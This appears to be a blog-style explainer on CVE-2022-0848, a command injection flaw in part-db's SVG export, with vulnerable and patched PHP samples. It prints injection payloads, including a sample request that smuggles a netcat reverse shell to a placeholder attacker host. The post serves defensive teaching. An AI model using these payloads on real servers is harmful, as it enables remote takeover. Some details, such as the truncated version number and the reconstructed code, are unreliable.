Did you know a small bug in a web app could let an attacker run any command they want on your server? That’s exactly what happened with CVE-2022-0848, a critical OS Command Injection vulnerability found in part-db/part-db before version .5.11. In this post, we’ll break down what went wrong, show you code samples, links for further reading, and even walk through how an attacker could exploit this issue. All in simple, straightforward language.
## What is part-db/part-db?
part-db/part-db is an open-source tool for managing electronic parts. It's popular among hobbyists and professionals for tracking inventory, projects, and suppliers. As a web application, it runs on a server—so vulnerabilities can have serious consequences.
Affected Version: Before .5.11
- CVE: CVE-2022-0848
- Risk: Allows anyone who can access a certain web endpoint to execute system commands as the server user.
How Did This Happen?
In versions before .5.11, part-db let certain user values flow directly into system shell commands without proper sanitization. Basically, if you could control some of the data sent to the application (like an uploaded file name or URL parameter), you could sneak in your own commands.
Suppose the app code (simplified for this example) did something like this
<?php
// Assuming $userInput is received from a GET or POST request
$userInput = $_GET['filename'];
$output = shell_exec("ls -l " . $userInput);
echo "<pre>$output</pre>";
If you visit
http://example.com/page.php?filename=.
That's fine—it runs ls -l ..
But if you try
http://example.com/page.php?filename=.; whoami
the command executed on the server is
ls -l .; whoami
Now the output of whoami (which tells you what user the server is running as) gets included in the web page!
This is OS Command Injection — the application runs commands built from user-supplied data, without checking or escaping for malicious input.
## The Real-World part-db/part-db Flaw
The security advisory (GHSA-mrhj-q6m9-8cw7) reported that the issue stemmed from unsanitized user input in the SVG export functionality. Attackers could provide filename or path values, and the application would use them directly in shell commands.
The relevant code (from before the fix) looked roughly like this
<?php
function exportSVG($svgContent, $filename) {
// BAD: Uses user input directly in shell command
file_put_contents($filename, $svgContent);
shell_exec("inkscape $filename --export-png=$filename.png");
}
If filename contains something sneaky, the injected command will run as part of the shell invocation.
Let’s say the attacker sends the filename like
test.svg; touch pwned.txt
So the shell command becomes
inkscape test.svg; touch pwned.txt --export-png=test.svg; touch pwned.txt.png
What happens? The server creates an empty file pwned.txt, proving a command injection.
Alternatively, an attacker could use more dangerous commands, like spawning a reverse shell or downloading malware.
Example GET/POST exploit
POST /export_svg HTTP/1.1
Host: vulnerablepartdb.local
Content-Type: application/x-www-form-urlencoded
filename=test.svg; nc -e /bin/sh attacker.com 4444
svg_content=<svg>...</svg>
If the server has nc (netcat), this opens a shell to the attacker.
Reference Links
- Official CVE Entry: NVD CVE-2022-0848
- GitHub Security Advisory: GHSA-mrhj-q6m9-8cw7
- Patch Commit: Patch fixing injection
- Mitre Details: MITRE
How Was it Fixed?
The main fix was sanitizing user input and/or avoiding the shell outright. Instead of building command strings, developers started using safe APIs or carefully validated every argument.
Example (safe) PHP code
<?php
function safeExportSVG($svgContent, $filename) {
// Only allow safe filenames (no shell metacharacters)
$cleanFilename = basename($filename);
file_put_contents($cleanFilename, $svgContent);
// Use escapeshellarg to prevent injection
$cmd = "inkscape " . escapeshellarg($cleanFilename) . " --export-png=" . escapeshellarg($cleanFilename . ".png");
shell_exec($cmd);
}
Or even better, use functions that avoid the shell, like proc_open.
The Takeaway
A simple mistake—using user input in a shell command—can let anyone with a browser become root on your server. This is a textbook lesson in web application security and why good input validation matters, always.
If you run part-db, check your version and patch immediately. If you're building web applications, make sure you never let user data sneak into dangerous system calls!
Stay safe, and keep your code clean. For more details, always check the latest advisories and security patches.
Timeline
Published on: 03/04/2022 09:15:00 UTC
Last modified on: 04/08/2022 13:59:00 UTC